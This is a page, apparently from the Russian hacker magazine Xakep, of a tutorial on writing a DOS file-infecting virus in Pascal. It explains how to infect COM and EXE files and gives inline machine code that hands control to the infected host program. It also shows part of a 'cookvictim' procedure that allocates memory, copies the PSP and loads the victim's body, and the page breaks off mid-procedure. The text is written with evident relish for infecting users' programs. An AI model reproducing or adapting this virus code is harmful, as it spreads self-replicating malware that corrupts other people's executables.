|

ЯВУ на халяву!
Ramhak O`Hady
Xakep, номер #017, стр. 017-064-4
EXE-шником на Pascal`е поражать можно и EXE, и COM. Неплохо, правда? Вирус, правда, больше жертвы в два раза. :) Поражение COM`ков даже проще. Алгоритм, ясный перец, различается. Для COM`ков можно сделать так: считывать целиком COM-файл в память, писать свое вирусное тело в файл, потом дописывать жертву. Тогда произойдет вызов вируса, он выделит память (всю, без остатка - она пригодится жертве для успешной работы, никто же не хочет, чтобы любимый Тетрис глючил и портил юзеру кайф последних минут за компом?) и подгрузит туда весь COM`ок. Осталось освободить ту память, которую занимает сам вирус, и сделать переход на тело жертвы. Вот здесь можно очень сильно извратиться и сделать-таки все это на Pas`е. Но гораздо быстрее это можно сделать на ASM`е. Например, так:
inline($FA/ { cli }
$8E/$16/>victimseg/ { mov ss,[victimseg] }
$33/$E4/ { xor sp,sp }
$FB/ { sti }
$33/$C0/ { xor ax,ax }
$50/ { push ax }
$A1/>victimseg/ { mov ax,[victimseg] }
$50/ { push ax }
$8E/$D8/ { mov ds,ax }
$8E/$C0/ { mov es,ax }
$B8/$00/$01/ { mov ax,100h }
$50/ { push ax }
$33/$C0/ { xor ax,ax }
$8B/$D8/ { mov bx,ax }
$8B/$C8/ { mov cx,ax }
$8B/$D0/ { mov dx,ax }
$8B/$F0/ { mov si,ax }
$8B/$F8/ { mov di,ax }
$8B/$E8/ { mov bp,ax }
$CB); { retf }
С EXE-шником дело сложнее. Дело в том, что там мало вычислить, сколько реально места займет в памяти исполняемый код и данные. Там есть такая пакость, как relocations. EXE-шники по жизни состоят из нескольких сегментов. Чтобы к каждому можно было обращаться по правильному адресу (то есть такому, каков он при загруженном в память модуле), и были придуманы relocation`ы. Зная, как устроен DOS, можно без труда эмулировать его работу.
Идея состоит в том, чтобы во время компиляции кода не писать жестких адресов, а писать смещения, которые потом можно будет добавить к тому сегменту, в который мы пропишем код (здесь - самих сегментов, а не внутри сегментов). То есть SEG:XXX превратится в SEG+OFS:XXX, где OFS нам известно, а SEG:XXX понатыканы по всему файлу). То есть был, например, массив в начале сегмента данных, тогда его относительный адрес = DATASEG:0000. Когда мы загрузим код и данные, то к DATASEG нужно будет добавить номер сегмента, куда мы его загрузили, и тогда прога сможет смело обращаться в ADDR+DATASEG:0000 за массивом. :)
Совет - прочтите какое-нибудь из описаний форматов DOS. Там все написано подробно.
procedure cookvictim;
var
header: texeheader;
memqua: longint;
loadnow: word;
seg, ofs: word;
begin
if (self.infection = com_infection) then
begin
assign(f, paramstr(0));
reset(f, 1);
{ наибольший доступный кус для жеpтвы }
regs.ah:=$48;
regs.bx:=$FFFF;
intr($21, regs);
regs.ah:=$48;
intr($21, regs);
{ check*** }
victimseg:=regs.ax;
{ скопиpуем PSP }
move(ptr(cseg-$10, 0)^, ptr(victimseg, 0)^, 256);
{ считаем жеpтвенное тело }
seek(f, self.size);
blockread(f, ptr(victimseg+$10, 0)^, $FFFF);
Назад на стр. 017-064-3 Содержание Вперед на стр. 017-064-5
|